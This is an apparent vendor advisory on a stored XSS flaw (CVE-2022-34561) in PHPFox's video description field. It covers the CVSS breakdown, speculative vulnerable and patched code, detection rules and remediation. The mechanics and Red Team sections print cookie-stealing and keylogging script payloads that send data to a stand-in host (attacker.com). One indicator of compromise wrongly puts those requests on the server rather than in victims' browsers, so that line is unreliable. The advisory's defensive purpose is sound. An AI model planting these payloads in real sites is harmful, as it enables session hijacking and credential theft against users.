CVE-2022-34561
Executive Summary
CVE-2022-34561 is a stored Cross-Site Scripting (XSS) vulnerability in PHPFox v4.8.9, a social networking platform. The flaw resides in the video description parameter, allowing an authenticated attacker with video upload privileges to inject arbitrary JavaScript or HTML. When other users view the crafted video, the payload executes in their browser, potentially leading to session hijacking, credential theft, or defacement. The CVSS score is 0.0 in the NVD due to incomplete scoring, but based on the vector, the actual severity is Medium (4.8). No official patch has been released, making this a persistent risk for unpatched instances.
This record — and 170,000+ others — are available via the ValtersIT API. One endpoint replaces five: NVD + GitHub CVE + CISA KEV + EPSS + Nuclei + Exploit-DB, unified.
No signup required
Supply Chain & Package Security
PHPFox is a proprietary PHP-based CMS. No open-source package (NPM, PyPI, Go, Ruby) is directly affected. However, organizations using PHPFox should treat this as a supply chain risk due to the lack of vendor patch.
CVSS Breakdown & Threat Level
- Attack Vector (AV): Network (N) – Exploitable remotely.
- Attack Complexity (AC): Low (L) – No special conditions required.
- Privileges Required (PR): Low (L) – Attacker needs a valid user account with video upload permissions.
- User Interaction (UI): Required (R) – Victim must view the malicious video.
- Scope (S): Changed (C) – Payload can affect resources beyond the vulnerable component.
- Confidentiality (C): Low (L) – Limited data exposure.
- Integrity (I): Low (L) – Limited ability to modify content.
- Availability (A): None (N) – No direct impact on availability.
Overall Score: 4.8 (Medium)
Deep Dive & Mechanics
The vulnerability exists in the video upload functionality of PHPFox v4.8.9. When a user submits a video, the description field is not properly sanitized before being stored in the database and later rendered on the video detail page. The application fails to escape HTML entities or strip script tags, allowing an attacker to inject payloads such as:
<script>alert('XSS')</script>
or more sophisticated payloads for session theft:
<img src=x onerror="fetch('https://attacker.com/steal?cookie='+document.cookie)">
The stored payload executes in the context of any user who visits the video page, including administrators. This can lead to privilege escalation if an admin’s session is hijacked.
Vulnerable vs. Patched Code
Vulnerable Code (PHPFox v4.8.9):
The video description is likely output without sanitization in a template file (e.g., video.html):
<div class="video-description">
<?php echo $video['description']; ?>
</div>
Patched Code (Hypothetical):
A secure version would use htmlspecialchars() or a template engine’s auto-escaping:
<div class="video-description">
<?php echo htmlspecialchars($video['description'], ENT_QUOTES, 'UTF-8'); ?>
</div>
Since no official patch exists, manual remediation is required.
Exploitation & Lab Setup
Red Team (Attack Simulation)
Prerequisites:
- A valid user account on the PHPFox instance with permission to upload videos.
- Access to the video upload form.
Steps:
- Log in to PHPFox as a regular user.
- Navigate to the video upload page.
- Fill in the video title and URL (any valid video link).
- In the description field, inject the following payload:
<script>new Image().src='http://attacker.com/steal?c='+document.cookie;</script> - Submit the video.
- When an administrator or other user views the video, the payload executes, sending their session cookie to the attacker’s server.
Alternative Payload (Keylogging):
<script>
document.onkeypress = function(e) {
fetch('http://attacker.com/keylog?k='+e.key);
}
</script>
Blue Team (Defense & Detection)
Detection:
- Monitor for unusual video descriptions containing
<script>,<img onerror>, or other HTML event handlers. - Use web application firewall (WAF) rules to block common XSS patterns in POST parameters.
Prevention:
- Apply input validation and output encoding manually (see Remediation).
- Restrict video upload permissions to trusted users only.
Indicators of Compromise (IOCs)
Network:
- Outbound HTTP requests to unknown domains from the PHPFox server (e.g.,
GET /steal?c=...). - Suspicious parameters in video upload requests (e.g.,
description=<script>).
- Outbound HTTP requests to unknown domains from the PHPFox server (e.g.,
Host:
- Database entries in the
videotable withdescriptionfields containing HTML/JavaScript. - Log entries showing repeated access to a specific video by multiple users.
- Database entries in the
File:
- No file-based IOCs; the payload is stored in the database.
Detection Engineering
YARA Rule (for scanning database dumps or logs)
rule CVE_2022_34561_XSS_Description {
meta:
description = "Detects XSS payloads in PHPFox video descriptions"
author = "Valters IT"
date = "2025-04-10"
reference = "CVE-2022-34561"
strings:
$xss1 = /<script[^>]*>.*<\/script>/is
$xss2 = /<[^>]+on\w+\s*=/i
$xss3 = /javascript\s*:/i
condition:
any of them
}
Sigma Rule (for SIEM detection of XSS attempts)
title: PHPFox Video Description XSS Attempt
id: 7a8b9c0d-1e2f-3a4b-5c6d-7e8f9a0b1c2d
status: experimental
description: Detects potential XSS payloads in video description parameter
author: Valters IT
logsource:
category: webserver
product: apache
detection:
selection:
c-uri|contains: '/video/add'
cs-method: 'POST'
cs-param-description|contains:
- '<script'
- 'onerror='
- 'onload='
- 'javascript:'
condition: selection
falsepositives:
- Legitimate use of HTML in descriptions (unlikely)
level: high
Suricata Rule (network-based detection)
alert http any any -> any any (msg:"CVE-2022-34561 PHPFox XSS in video description"; flow:to_server,established; content:"POST"; http_method; content:"/video/add"; http_uri; content:"description="; http_client_body; pcre:"/(<script|<[^>]+on\w+)/i"; sid:1000001; rev:1;)
Remediation & Mitigation
Immediate Actions:
- Input Validation: Sanitize the
descriptionfield on the server side using a whitelist approach (allow only safe HTML tags like<b>,<i>,<a>withrel="nofollow"). - Output Encoding: Use
htmlspecialchars()or equivalent when rendering the description in templates. - Content Security Policy (CSP): Add a strict CSP header to mitigate XSS impact:
Content-Security-Policy: default-src 'self'; script-src 'none'; style-src 'self' 'unsafe-inline'; - WAF Rules: Deploy a web application firewall to block malicious payloads in the
descriptionparameter.
Long-Term:
- Monitor the PHPFox vendor for an official patch. If none is forthcoming, consider migrating to an alternative platform.
- Conduct regular security audits of custom code.
Valters IT – Securing digital frontiers, one CVE at a time.
What is this? Security researchers use these exact search queries on Shodan.io (a search engine for internet-connected devices) to find vulnerable systems globally. You can copy these dorks to see if your organization's IP space is exposed.
💣 PoC CODE AVAILABLE
Exploit code for this CVE is tracked in our database.
Access poc_code via API Pro.